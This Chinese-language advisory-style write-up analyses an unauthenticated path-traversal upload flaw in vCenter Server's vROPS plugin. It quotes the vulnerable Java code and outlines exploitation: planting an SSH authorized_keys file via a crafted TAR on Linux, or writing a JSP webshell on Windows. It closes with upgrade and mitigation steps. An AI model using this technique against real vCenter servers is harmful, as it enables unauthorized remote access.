vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能:

    @RequestMapping(
        value = {"/uploadova"},
        method = {RequestMethod.POST}
    )
    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
        logger.info("Entering uploadOvaFile api");
        int code = uploadFile.isEmpty() ? 400 : 200;
        PrintWriter wr = null;
...
        response.setStatus(code);
        String returnStatus = "SUCCESS";
        if (!uploadFile.isEmpty()) {
            try {
                logger.info("Downloading OVA file has been started");
                logger.info("Size of the file received  : " + uploadFile.getSize());
                InputStream inputStream = uploadFile.getInputStream();
                File dir = new File("/tmp/unicorn_ova_dir");
                if (!dir.exists()) {
                    dir.mkdirs();
                } else {
                    String[] entries = dir.list();
                    String[] var9 = entries;
                    int var10 = entries.length;

                    for(int var11 = 0; var11 < var10; ++var11) {
                        String entry = var9[var11];
                        File currentFile = new File(dir.getPath(), entry);
                        currentFile.delete();
                    }

                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                }

                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry = in.getNextTarEntry();
                ArrayList result = new ArrayList();

代码逻辑是将 TAR 文件解压后上传到 /tmp/unicorn_ova_dir 目录。注意到如下代码:

                while(entry != null) {
                    if (entry.isDirectory()) {
                        entry = in.getNextTarEntry();
                    } else {
                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                        File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                            parent.mkdirs();

直接将 TAR 的文件名与 /tmp/unicorn_ova_dir 拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历。

对于 Linux 版本,可以创建一个包含 ../../home/vsphere-ui/.ssh/authorized_keys 的 TAR 文件并上传后利用 SSH 登陆:

$ ssh 192.168.1.34 -lvsphere-ui

VMware vCenter Server 7.0.1.00100

Type: vCenter Server with an embedded Platform Services Controller

[email protected] [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)

针对 Windows 版本,可以在目标服务器上写入 JSP webshell 文件,由于服务是 System 权限,所以可以任意文件写。

0x05. 漏洞修复

升级到安全版本:

  • vCenter Server 7.0 版本升级到 7.0.U1c

  • vCenter Server 6.7版本升级到 6.7.U3l

  • vCenter Server 6.5版本升级到 6.5 U3n

临时修复建议

(针对暂时无法升级的服务器)

  1. SSH远连到vCSA(或远程桌面连接到Windows VC)

  2. 备份以下文件:

    • Linux系统文件路径为:/etc/vmware/vsphere-ui/compatibility-matrix.xml (vCSA)

    • Windows文件路径为:C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui (Windows VC)

  3. 使用文本编辑器将文件内容修改为: 640

  4. 使用vmon-cli -r vsphere-ui命令重启vsphere-ui服务

  5. 访问https:///ui/vropspluginui/rest/services/checkmobregister,显示404错误 640--1--1

  6. 在vSphere Client的Solutions->Client Plugins中VMWare vROPS插件显示为incompatible 640--2-

0x06. 参考链接

  • There are no more articles
❌